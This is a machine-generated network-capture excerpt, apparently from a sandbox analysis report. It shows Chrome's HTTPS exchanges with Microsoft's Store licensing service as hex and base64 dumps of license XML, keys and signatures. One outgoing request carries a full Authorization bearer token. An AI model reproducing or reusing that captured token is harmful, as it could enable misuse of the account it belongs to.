63 33 38 2d 35 66 64 65 2d 31 66 39 66 35 64 66 39 38 38 30 37 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"8ce3d3dd-a4c7-6c38-5fde-1f9f5df98807"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:28 UTC 2335 IN Data Raw: 53 49 2b 50 45 6c 7a 63 33 56 6c 5a 45 52 68 64 47 55 2b 4d 6a 41 79 4d 69 30 77 4e 79 30 77 4d 56 51 77 4f 
54 6f 77 4d 54 6f 79 4f 43 34 31 4f 54 4d 30 4e 6a 45 79 57 6a 77 76 53 58 4e 7a 64 57 56 6b 52 47 46 30 5a 54 34 38 54 
47 46 7a 64 46 56 77 5a 47 46 30 5a 55 52 68 64 47 55 2b 4d 6a 41 79 4d 69 30 77 4e 79 30 77 4d 56 51 77 4f 54 6f 77 
4d 54 6f 79 4f 43 34 31 4f 44 6b 30 4e 6a 63 7a 57 6a 77 76 54 47 46 7a 64 46 56 77 5a 47 46 30 5a 55 52 68 64 47 55 
2b 50 45 4a 6c 5a 32 6c 75 52 47 46 30 5a 54 34 79 4d 44 49 79 4c 54 41 33 4c 54 41 78 56 44 41 35 4f 6a 41 78 4f 6a 4
9 34 4c 6a 55 34 4f 54 51 32 4e 44 56 61 50 43 39 43 5a 57 64 70 62 6b 52 68 64 47 55 2b 50 43 39 4d 61 57 4e 6c 62 
6e 4e 6c 53 57 35 6d 62 7a 34 38 51 33 56 7a 64 47 39 74 55 47 39 73 
Data Ascii: SI+PElzc3VlZERhdGU+MjAyMi0wNy0wMVQwOTowMToyOC41OTM0NjEyWjwvSXNzdWVkRGF0ZT48TGF
zdFVwZGF0ZURhdGU+MjAyMi0wNy0wMVQwOTowMToyOC41ODk0NjczWjwvTGFzdFVwZGF0ZURhdGU+PEJ
lZ2luRGF0ZT4yMDIyLTA3LTAxVDA5OjAxOjI4LjU4OTQ2NDVaPC9CZWdpbkRhdGU+PC9MaWNlbnNlSW5mbz48Q3Vzd
G9tUG9s

2022-07-01 09:01:28 UTC 2336 IN Data Raw: 58 52 6f 62 32 51 67 51 57 78 6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 
6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 7a 45 77 4c 33 68 74 62 43 31 6c 65 47 4d 74 59 7a 45 30 62 69 4d 69 
49 43 38 2b 50 46 4e 70 5a 32 35 68 64 48 56 79 5a 55 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 
39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 44 51 76 65 47 
31 73 5a 48 4e 70 5a 79 31 74 62 33 4a 6c 49 33 4a 7a 59 53 31 7a 61 47 45 79 4e 54 59 69 49 43 38 2b 50 46 4a 6c 5a 
6d 56 79 5a 57 35 6a 5a 53 42 56 55 6b 6b 39 49 69 49 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 46 52 79 
59 57 35 7a 5a 6d 39 79 62 53 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 
Data Ascii: XRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiIC8
+PFNpZ25hdHVyZU1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZHNpZy1tb3JlI
3JzYS1zaGEyNTYiIC8+PFJlZmVyZW5jZSBVUkk9IiI+PFRyYW5zZm9ybXM+PFRyYW5zZm9ybSBBbGdvcml0aG09

Timestamp
kBytes
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Direction Data
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2022-07-01 09:01:28 UTC 2337 IN Data Raw: 55 6f 79 64 57 74 58 61 30 59 7a 59 6e 68 54 61 6b 35 6a 4d 47 63 39 50 54 77 76 55 32 6c 6e 62 6d 46 30 64 
58 4a 6c 56 6d 46 73 64 57 55 2b 50 45 74 6c 65 55 6c 75 5a 6d 38 67 53 57 51 39 49 6c 38 77 5a 6a 67 78 59 6a 49 30 
5a 69 31 69 59 7a 51 77 4c 54 49 33 4d 54 49 74 4d 47 51 31 5a 43 31 6c 4e 32 4d 78 4d 44 41 34 4e 57 4d 7a 4d 7a 41 
69 50 6a 78 4c 5a 58 6c 57 59 57 78 31 5a 54 34 38 55 6c 4e 42 53 32 56 35 56 6d 46 73 64 57 55 2b 50 45 31 76 5a 48 
56 73 64 58 4d 2b 62 31 5a 54 53 6c 68 4a 64 45 52 7a 59 55 46 4a 5a 6e 64 35 55 6a 6c 69 61 47 67 76 57 6c 4e 77 63 
45 4e 42 54 79 74 70 62 6a 6c 51 54 30 78 58 5a 45 4d 79 4c 31 52 52 62 32 52 6e 5a 55 68 61 65 6d 4a 6b 51 6e 5a 34 
53 6e 5a 4c 61 48 42 69 63 6e 45 32 57 6c 41 77 52 6e 4e 54 52 57 78 4d 
Data Ascii: UoydWtXa0YzYnhTak5jMGc9PTwvU2lnbmF0dXJlVmFsdWU+PEtleUluZm8gSWQ9Il8wZjgxYjI0Zi1
iYzQwLTI3MTItMGQ1ZC1lN2MxMDA4NWMzMzAiPjxLZXlWYWx1ZT48UlNBS2V5VmFsdWU+PE1vZHVsdXM
+b1ZTSlhJdERzYUFJZnd5UjliaGgvWlNwcENBTytpbjlQT0xXZEMyL1RRb2RnZUhaemJkQnZ4SnZLaHBicnE2WlAwR
nNTRWxM

2022-07-01 09:01:28 UTC 2338 IN Data Raw: 54 45 33 5a 44 55 31 59 32 55 69 49 46 5a 6c 63 6e 4e 70 62 32 34 39 49 6a 55 69 49 48 68 74 62 47 35 7a 
50 53 4a 31 63 6d 34 36 63 32 4e 6f 5a 57 31 68 63 79 31 74 61 57 4e 79 62 33 4e 76 5a 6e 51 74 59 32 39 74 4f 6e 64 
70 62 6d 52 76 64 33 4d 36 63 33 52 76 63 6d 55 36 62 47 6c 6a 5a 57 35 7a 61 57 35 6e 4f 6d 78 7a 49 6a 34 38 51 6d 
6c 75 5a 47 6c 75 5a 79 42 43 61 57 35 6b 61 57 35 6e 58 31 52 35 63 47 55 39 49 6b 31 68 59 32 68 70 62 6d 55 69 50 
6a 78 42 63 33 4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 54 32 5a 6d 
61 57 4e 6c 4c 6b 39 75 5a 55 35 76 64 47 56 66 4f 48 64 6c 61 33 6c 69 4d 32 51 34 59 6d 4a 33 5a 54 77 76 51 58 4e 
7a 62 32 4e 70 59 58 52 6c 5a 46 42 47 54 6e 4d 2b 50 45 78 6c 59 58 4e 6c 
Data Ascii: TE3ZDU1Y2UiIFZlcnNpb249IjUiIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOndpbmR
vd3M6c3RvcmU6bGljZW5zaW5nOmxzIj48QmluZGluZyBCaW5kaW5nX1R5cGU9Ik1hY2hpbmUiPjxBc3NvY2lhdGVkU
EZOcz5NaWNyb3NvZnQuT2ZmaWNlLk9uZU5vdGVfOHdla3liM2Q4YmJ3ZTwvQXNzb2NpYXRlZFBGTnM+PExlYXNl

2022-07-01 09:01:28 UTC 2339 IN Data Raw: 46 64 4f 4d 46 4e 58 55 54 6c 50 56 6d 52 68 55 6b 55 31 52 46 56 72 57 6b 6c 57 61 33 42 4e 53 6d 35 4f 63 
6d 52 56 62 47 74 51 56 45 46 33 54 56 52 42 61 55 78 44 53 6e 4a 61 57 47 78 4b 57 6b 68 4e 61 55 39 73 63 32 6c 50 
52 30 35 73 54 54 4a 52 65 6c 70 48 55 58 52 5a 56 46 4a 71 54 6e 6b 77 4d 6c 6c 36 54 54 52 4d 56 46 5a 74 57 6b 64 
56 64 45 31 58 57 54 56 61 61 6c 5a 72 57 6d 70 72 4e 45 39 45 51 54 4e 4a 62 44 42 7a 53 57 31 30 63 47 4a 74 55 57 
6c 50 61 55 70 45 59 6a 49 31 4d 46 70 58 4e 54 42 4a 61 58 64 70 59 30 64 47 61 6d 45 79 52 6d 35 61 57 45 31 70 54 
32 78 30 4e 30 6c 75 51 6d 68 5a 4d 6e 52 6f 57 6a 4a 57 53 6c 70 48 56 6e 56 6b 52 32 78 74 59 56 64 57 65 55 6c 71 
62 32 6c 61 56 45 31 36 54 6d 31 4b 61 55 39 48 57 58 52 4e 56 46 70 73 
Data Ascii: FdOMFNXUTlPVmRhUkU1RFVrWklWa3BNSm5OcmRVbGtQVEF3TVRBaUxDSnJaWGxKWkhNa
U9sc2lPR05sTTJRelpHUXRZVFJqTnkwMll6TTRMVFZtWkdVdE1XWTVaalZrWmprNE9EQTNJbDBzSW10cGJtUWlPaUp
EYjI1MFpXNTBJaXdpY0dGamEyRm5aWE1pT2x0N0luQmhZMnRoWjJWSlpHVnVkR2xtYVdWeUlqb2laVE1
6Tm1KaU9HWXRNVFps

2022-07-01 09:01:28 UTC 2340 IN Data Raw: 6b 70 6a 64 48 6c 36 4d 44 4a 4a 4d 58 56 75 65 58 64 47 5a 46 42 53 55 46 56 75 4e 58 52 69 51 54 56 45 
4e 32 35 61 52 6d 39 71 4b 33 42 72 57 6e 4a 34 5a 7a 52 35 65 6b 6b 33 62 6c 56 57 65 6e 68 31 52 57 70 56 53 6c 45 
78 59 56 70 72 56 33 52 56 63 48 45 33 65 57 4d 39 50 43 39 54 55 45 78 70 59 32 56 75 63 32 56 43 62 47 39 6a 61 7a 
34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 49 48 68 74 62 47 35 7a 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 
6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 77 4c 7a 41 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 49 6a 34 38 55 32 6c 6e 
62 6d 56 6b 53 57 35 6d 62 7a 34 38 51 32 46 75 62 32 35 70 59 32 46 73 61 58 70 68 64 47 6c 76 62 6b 31 6c 64 47 68 
76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 
Data Ascii: kpjdHl6MDJJMXVueXdGZFBSUFVuNXRiQTVEN25aRm9qK3BrWnJ4ZzR5ekk3blVWenh1RWpVSlExYVp
rV3RVcHE3eWM9PC9TUExpY2Vuc2VCbG9jaz48U2lnbmF0dXJlIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL
zA5L3htbGRzaWcjIj48U2lnbmVkSW5mbz48Q2Fub25pY2FsaXphdGlvbk1ldGhvZCBBbGdvcml0aG09Imh0dHA6

2022-07-01 09:01:28 UTC 2341 IN Data Raw: 7a 55 79 53 6b 46 58 56 45 4e 52 55 56 64 53 62 6e 64 4d 61 6a 63 77 55 79 39 4f 64 30 63 33 56 46 68 43 
57 58 70 70 55 45 4e 30 62 69 73 77 61 58 56 44 4d 30 55 79 57 55 77 31 56 45 59 79 57 56 52 43 62 47 74 45 57 48 4a 
76 5a 56 46 4a 4d 46 4a 54 54 55 63 72 4f 56 4e 54 54 58 70 6b 52 55 6c 51 4c 32 68 57 62 6b 74 4a 4d 30 4a 7a 65 54 4
e 58 53 46 5a 78 59 32 4e 7a 4e 32 78 54 64 56 56 71 61 57 78 78 61 56 68 5a 4d 6d 4e 52 52 6e 68 7a 4f 57 46 57 59 
57 5a 61 57 44 42 78 55 54 4e 68 5a 6a 46 51 57 55 70 6d 59 6c 5a 78 4d 6d 6f 30 63 6a 5a 34 62 58 59 34 4e 47 68 35 
57 55 5a 77 55 44 6c 7a 55 57 68 4f 4f 45 6c 42 62 56 45 78 63 56 70 6c 57 56 4e 52 64 6d 39 51 52 31 4e 68 53 56 6c 
32 4f 48 70 69 57 46 46 4b 51 7a 42 4a 52 47 6c 55 5a 7a 30 39 50 43 39 54 
Data Ascii: zUySkFXVENRUVdSbndMajcwUy9Od0c3VFhCWXppUEN0biswaXVDM0UyWUw1VEYyWVRCb
GtEWHJvZVFJMFJTTUcrOVNTTXpkRUlQL2hWbktJM0JzeTNXSFZxY2NzN2xTdVVqaWxxaVhZMmNRRnhzO
WFWYWZaWDBxUTNhZjFQWUpmYlZxMmo0cjZ4bXY4NGh5WUZwUDlzUWhOOElBbVExcVplWVNRdm9QR1NhS
Vl2OHpiWFFKQzBJRGlUZz09PC9T

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

137 192.168.2.5 49904 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:28 UTC 2342 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.21
Content-Length: 4277
Host: licensing.mp.microsoft.com

2022-07-01 09:01:28 UTC 2344 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:29 UTC 2348 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:28 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 7945
MS-CorrelationId: 4e7a1927-385b-453e-9d05-762d00b12c82
MS-RequestId: a4d88fc4-1587-4bab-833b-a9e539679ce5
MS-CV: UznHpAHqV0GMBdER.21.1530939666.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-8l8rm

2022-07-01 09:01:29 UTC 2348 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 38 63 66 63 38 30 34 61 2d 64 37 37 37 2d 32 
33 36 31 2d 31 36 37 30 2d 34 35 36 39 65 35 31 36 33 39 37 65 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"8cfc804a-d777-2361-1670-4569e516397e"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:29 UTC 2349 IN Data Raw: 6a 4d 35 4f 6a 4d 33 4c 6a 51 7a 4d 44 4d 77 4e 6a 46 61 50 43 39 43 5a 57 64 70 62 6b 52 68 64 47 55 2b 
50 43 39 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 7a 34 38 51 33 56 7a 64 47 39 74 55 47 39 73 61 57 4e 70 5a 58 4d 
2b 5a 58 6c 4b 63 31 70 58 5a 47 68 5a 4d 32 78 52 59 32 30 35 61 32 52 58 54 6a 42 54 56 31 46 70 54 32 6c 4a 4d 56 
70 48 55 58 64 5a 62 56 70 73 57 6d 6b 77 65 6c 6c 36 53 54 46 4d 56 46 45 78 54 6d 70 42 64 45 39 58 57 58 64 5a 61 
54 41 7a 54 57 70 43 62 56 6b 79 57 58 64 4e 52 46 70 6f 57 6c 52 6e 61 57 5a 52 50 54 30 38 4c 30 4e 31 63 33 52 76 
62 56 42 76 62 47 6c 6a 61 57 56 7a 50 6a 78 54 55 45 78 70 59 32 56 75 63 32 56 43 62 47 39 6a 61 7a 35 47 51 55 46 
42 51 55 74 33 51 55 46 42 52 45 70 42 51 55 46 42 51 32 64 42 51 55 46 42 
Data Ascii: jM5OjM3LjQzMDMwNjFaPC9CZWdpbkRhdGU+PC9MaWNlbnNlSW5mbz48Q3VzdG9tUG9saWNpZXM+ZXl
Kc1pXZGhZM2xRY205a2RXTjBTV1FpT2lJMVpHUXdZbVpsWmkwell6STFMVFExTmpBdE9XWXdZaTAzTWp
CbVkyWXdNRFpoWlRnaWZRPT08L0N1c3RvbVBvbGljaWVzPjxTUExpY2Vuc2VCbG9jaz5GQUFBQUt3QUF
BREpBQUFBQ2dBQUFB

2022-07-01 09:01:29 UTC 2350 IN Data Raw: 6b 6b 39 49 69 49 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 
62 53 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 
6e 4c 7a 49 77 4d 44 41 76 4d 44 6b 76 65 47 31 73 5a 48 4e 70 5a 79 4e 6c 62 6e 5a 6c 62 47 39 77 5a 57 51 74 63 32 
6c 6e 62 6d 46 30 64 58 4a 6c 49 69 41 76 50 6a 77 76 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 63 7a 34 38 52 47 6c 6e 5a 
58 4e 30 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 
64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 77 4e 43 39 34 62 57 78 6c 62 6d 4d 6a 63 32 68 68 4d 6a 55 
32 49 69 41 76 50 6a 78 45 61 57 64 6c 63 33 52 57 59 57 78 31 5a 54 35 6f 
Data Ascii: kk9IiI+PFRyYW5zZm9ybXM+PFRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzI
wMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIiAvPjwvVHJhbnNmb3Jtcz48RGlnZXN0TWV0aG9kIEFsZ
29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2IiAvPjxEaWdlc3RWYWx1ZT5o

Timestamp
kBytes
transferred
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2022-07-01 09:01:29 UTC 2351 IN Data Raw: 30 78 58 5a 45 4d 79 4c 31 52 52 62 32 52 6e 5a 55 68 61 65 6d 4a 6b 51 6e 5a 34 53 6e 5a 4c 61 48 42 69 
63 6e 45 32 57 6c 41 77 52 6e 4e 54 52 57 78 4d 64 31 4a 76 54 45 46 74 64 6a 64 36 53 58 56 57 64 7a 4e 57 59 6a 64 
30 5a 6c 46 30 4e 57 4a 71 51 30 52 49 55 6b 46 48 4f 57 5a 6c 63 30 35 73 57 55 74 57 4d 33 6c 69 65 55 35 79 53 48 6
c 36 5a 32 78 6d 57 6c 42 53 51 6a 56 56 53 6c 70 33 4d 7a 4a 35 61 54 41 7a 65 6c 46 68 4b 30 78 4d 59 54 41 31 5a 
6d 70 7a 4e 6d 70 76 52 57 31 73 53 47 4d 31 51 6e 4a 48 55 58 4a 48 63 6d 4a 4f 54 55 4a 68 61 48 6f 30 59 32 31 31 
65 45 74 44 4e 43 39 6b 61 45 56 69 4e 30 70 61 52 6c 56 72 59 7a 42 4e 55 6d 68 7a 4c 30 30 7a 56 6d 55 31 4d 54 46 
49 55 57 5a 4c 64 55 63 72 4f 54 4a 6e 4d 55 39 6d 5a 6b 70 6b 55 6e 4e 42 
Data Ascii: 0xXZEMyL1RRb2RnZUhaemJkQnZ4SnZLaHBicnE2WlAwRnNTRWxMd1JvTEFtdjd6SXVWdzNWYjd0ZlF
0NWJqQ0RIUkFHOWZlc05sWUtWM3lieU5ySHl6Z2xmWlBSQjVVSlp3MzJ5aTAzelFhK0xMYTA1ZmpzNmp
vRW1sSGM1QnJHUXJHcmJOTUJhaHo0Y211eEtDNC9kaEViN0paRlVrYzBNUmhzL00zVmU1MTFIUWZLdUc
rOTJnMU9mZkpkUnNB

2022-07-01 09:01:29 UTC 2352 IN Data Raw: 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 57 47 4a 76 65 43 35 55 51 31 56 4a 58 7a 68 33 5a 57 
74 35 59 6a 4e 6b 4f 47 4a 69 64 32 55 38 4c 30 46 7a 63 32 39 6a 61 57 46 30 5a 57 52 51 52 6b 35 7a 50 6a 78 4d 5a 
57 46 7a 5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 51 2b 4d 54 49 35 4e 6a 41 77 50 43 39 4d 5a 57 46 7a 
5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 51 2b 50 43 39 43 61 57 35 6b 61 57 35 6e 50 6a 78 4d 61 57 4e 
6c 62 6e 4e 6c 53 57 35 6d 62 79 42 55 65 58 42 6c 50 53 4a 4d 5a 57 46 7a 5a 53 49 67 54 47 6c 6a 5a 57 35 7a 5a 56 
56 7a 59 57 64 6c 50 53 4a 50 62 6d 78 70 62 6d 55 69 49 45 78 70 59 32 56 75 63 32 56 44 59 58 52 6c 5a 32 39 79 65 
54 30 69 55 6d 56 30 59 57 6c 73 49 6a 34 38 53 58 4e 7a 64 57 56 6b 52 47 
Data Ascii: Ocz5NaWNyb3NvZnQuWGJveC5UQ1VJXzh3ZWt5YjNkOGJid2U8L0Fzc29jaWF0ZWRQRk5zPjxMZWFzZ
VJlbmV3YWxQZXJpb2Q+MTI5NjAwPC9MZWFzZVJlbmV3YWxQZXJpb2Q+PC9CaW5kaW5nPjxMaWNlbnNlS
W5mbyBUeXBlPSJMZWFzZSIgTGljZW5zZVVzYWdlPSJPbmxpbmUiIExpY2Vuc2VDYXRlZ29yeT0iUmV0YWlsIj48SXN
zdWVkRG

2022-07-01 09:01:29 UTC 2353 IN Data Raw: 75 51 6d 68 5a 4d 6e 52 6f 57 6a 4a 57 53 6c 70 48 56 6e 56 6b 52 32 78 74 59 56 64 57 65 55 6c 71 62 32 6c 
5a 62 55 70 74 57 6b 52 6a 4d 55 35 45 61 33 52 4f 65 6b 5a 6f 57 6c 4d 78 61 30 39 48 57 6d 74 4d 56 47 78 74 54 6c 
52 6e 64 45 31 74 56 6d 31 4f 52 30 30 30 54 6e 70 53 61 55 31 71 52 6d 70 4a 61 58 64 70 59 30 64 47 61 6d 45 79 52 
6d 35 61 56 6c 49 31 59 30 64 56 61 55 39 70 53 6e 52 6a 4d 6d 77 30 53 57 6c 33 61 57 4e 49 53 6e 5a 61 53 46 5a 71 
5a 45 56 47 61 31 70 46 4f 58 56 6a 65 55 6b 32 56 7a 45 77 63 30 6c 75 51 6e 6c 69 4d 6c 49 78 57 54 4e 53 53 6c 70 
44 53 54 5a 4a 61 6d 78 50 55 7a 41 31 52 45 31 46 65 45 56 4f 56 54 56 50 54 6d 6c 4a 63 30 6c 75 54 6e 4a 6b 56 57 
78 72 53 57 70 76 61 55 31 45 51 58 68 4e 51 30 6f 35 57 46 4e 33 61 57 
Data Ascii: uQmhZMnRoWjJWSlpHVnVkR2xtYVdWeUlqb2lZbUptWkRjMU5Ea3ROekZoWlMxa09HWmtMVGxtTlRnd
E1tVm1OR000TnpSaU1qRmpJaXdpY0dGamEyRm5aVlI1Y0dVaU9pSnRjMmw0SWl3aWNISnZaSFZqZEVGa
1pFOXVjeUk2VzEwc0luQnliMlIxWTNSSlpDSTZJamxPUzA1RE1FeEVOVTVPTmlJc0luTnJkVWxrSWpvaU1EQXhNQ0o
5WFN3aW

